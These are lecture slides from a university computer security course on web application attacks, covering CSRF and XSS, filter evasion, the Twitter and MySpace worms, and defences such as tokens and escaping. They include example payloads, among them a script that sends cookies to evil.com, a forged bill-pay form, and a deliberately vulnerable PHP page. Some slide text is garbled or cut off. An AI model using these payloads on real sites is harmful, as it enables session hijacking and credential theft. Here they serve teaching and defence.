CSE 484 / CSE M 584: Computer Security and Privacy

Web Security: Web Application Security

Spring 2016

Franziska (Franzi) Roesner
franzi@cs.washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Web Applications

• Big trend: software as a Web-based service
  – Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc.
  – Cloud computing

• Applications hosted on Web servers
  – Written in a mixture of PHP, Ruby, Java, Perl, ASP

• Security is rarely the main concern
  – Poorly written scripts with inadequate input validation
  – Sensitive data stored in world-readable files
Dynamic Web Application

Browser

GET / HTTP/1.1
HTTP/1.1 200 OK

Web server

index.php

Database server
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication & Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards
Cross-Site Request Forgery (CSRF/XSRF)
Cookie-Based Authentication Redux

POST/login.cgi

Set-cookie: authenticator

GET...
Cookie: authenticator

response
Browser Sandbox Redux

• Based on the same origin policy (SOP)
• Active content (scripts) can send anywhere!
  – For example, can submit a POST request
  – Some ports inaccessible -- e.g., SMTP (email)
• Can only read response from the same origin
  – ... but you can do a lot with just sending!
Cross-Site Request Forgery

• Users logs into bank.com, forgets to sign off
  – Session cookie remains in browser state
• User then visits a malicious website containing
  <form name=BillPayForm
    action=http://bank.com/BillPay.php>
    <input name=recipient value=badguy> ...  
  </script>  document.BillPayForm.submit();  </script>
• Browser sends cookie, payment request fulfilled!
• **Lesson**: cookie authentication is not sufficient when side effects can happen
Cookies in Forged Requests

User credentials automatically sent by browser
Sending a Cross-Domain POST

<form method="POST" action=http://othersite.com/action >
...
</form>
<script>document.forms[0].submit()</script> submit post

• Hidden iframe can do this in the background
• User visits a malicious page, browser submits form on behalf of the user
  – Hijack any ongoing session (if no protection)
    • Netflix: change account settings, Gmail: steal contacts, Amazon: one-click purchase
  – Reprogram the user’s home router
  – Many other attacks possible
XSRF (aka CSRF): Summary

1. establish session
2. visit server
3. receive malicious page
4. send forged request

Q: how long do you stay logged on to Gmail? Financial sites?
XSRF True Story
[Alex Stamos]

Hidden iframes submitted forms that...
- Changed user’s email notification settings
- Linked a new checking account
- Transferred out $5,000
- Unlinked the account
- Restored email notifications
Broader View of XSRF

• Abuse of cross-site data export
  – SOP does not control data export
  – Malicious webpage can initiates requests from the user’s browser to an honest server
  – Server thinks requests are part of the established session between the browser and the server (automatically sends cookies)
Login XSRF: Attacker logs you in as them!

User logged in as attacker

Attacker’s account reflects user’s behavior
XSRF Defenses

• Secret validation token
  <input type=hidden value=23a3af01b>

• Referer validation
  Referer: http://www.facebook.com/home.php
Add Secret Token to Forms

- “Synchronizer Token Pattern”
- Include a secret challenge token as a hidden input in forms
  - Token often based on user’s session ID
  - Server must verify correctness of token before executing sensitive operations

- Why does this work?
  - Same-origin policy: attacker can’t read token out of legitimate forms loaded in user’s browser, so can’t create fake forms with correct token
Referer Validation

- **Lenient** referer checking – header is optional
- **Strict** referer checking – header is required

Referer: 
- [Valid](http://www.facebook.com/home.php)
- [Invalid](http://www.evil.com/attack.html)
- [Unknown](http://www.evil.com/attack.html)
Why Not Always Strict Checking?

• Why might the referer header be suppressed?
  – Stripped by the organization’s network filter
    • For example, http://intranet.corp.apple.com/projects/iphone/competitors.html
  – Stripped by the local machine
  – Stripped by the browser for HTTPS → HTTP transitions
  – User preference in browser
  – Buggy browser

• Web applications can’t afford to block these users
• Referer rarely suppressed over HTTPS
  – Logins typically use HTTPS – helps against login XSRF!
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code
  
  `<input value=<?php echo $myvalue; ?>>`

• Can embed variables in double-quote strings
  
  `$user = "world"; echo "Hello $user!";`
  
  or `$user = "world"; echo "Hello" . $user . "!";`

• Form data in global arrays `$GET`, `$POST`, ...

5/3/16
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with
<html>  <title>Search results</title>  <body>You have searched for  <?php echo $_GET[term] ?>… </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Echoing / “Reflecting” User Input

naive.com/hello.cgi?
name=Bob

Welcome, dear Bob

Welcome, dear

Cross-Site Scripting (XSS)

Access some web page

\[\text{<iframe src=}
\text{http://naive.com/hello.cgi?}
\text{name=<script>win.open(}
\text{"http://evil.com/steal.cgi?}
\text{cookie= +document.cookie)}
\text{</script>}>\]

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/steal.cgi?cookie=

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

GET/hello.cgi?name=

\[\text{<script>win.open("http://}
\text{evil.com/steal.cgi?cookie= +}
\text{document.cookie")</script>}\]

<HTML>Hello, dear
\text{<script>win.open("http://}
\text{evil.com/steal.cgi?cookie= +}
\text{document.cookie")</script>}
\text{Welcome!</HTML>
XSS – Quick Demo

<?php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body>
<form action="vulnerable.php" method="get">
Name: <input type="text" name="name" size="80">
<input type="submit" value="submit"></form>
<div id="greeting">
<?php
$name = $_GET['name'];
if($name) { echo "Welcome "; $_GET['name'];}
?>
</div>
</body></html>

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Reflected XSS

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog
- Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  - The origin of this script is now the website itself!
- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy
Basic Pattern for Reflected XSS

1. User victim visits a web site.
2. User victim receives a malicious page.
3. User victim clicks on a link.
4. User victim's input is echoed by the web site.
5. User victim sends valuable data to the web site.

Server victim

Attack server
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis
• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data

User victim
Users view or download content

Server victim

Attack server

Store bad stuff
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  
  – If view an infected profile, script infects your own profile

```javascript
var update = urlencoded("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken +"&status="+update+'&tab=home&update=update";
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken +"&user[url]="+xss+'&tab=home&update=update"")
```

Preventing Cross-Site Scripting

• Any user input and client-side data **must** be preprocessed before it is used inside HTML

• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  – In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

• Preventing injection of scripts into HTML is hard!
  – Blocking “<” and “>” is not enough
  – Event handlers, stylesheets, encoded inputs (%3C), etc.
  – phpBB allowed simple HTML tags like <b>
    
    <b c=""> onmouseover="script" x="<b ">Hello<b>
  
• Beware of filter evasion tricks (XSS Cheat Sheet)
  – If filter allows quoting (of <script>, etc.), beware of malformed quoting: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"
  – Long UTF-8 encoding
  – Scripts are not only in <script>: 
    <iframe src='https://bank.com/login’ onload='steal()'>
MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
  – No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
• ... but does allow `<div>` tags for CSS.
  – `<div style="background:url(‘javascript:alert(1)’)">`
• But MySpace will strip out “javascript”
  – Use “java
• But MySpace will strip out quotes
  – Convert from decimal instead:
    `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (2)

Resulting code:

```html
//namb.la/popular/tech.html

MySpace Worm (2)

Resulting code:

```
MySpace Worm (3)

- “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”
- Started on “samy” MySpace page
- Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero
- 5 hours later “samy” has 1,005,831 friends
  - Was adding 1,000 friends per second at its peak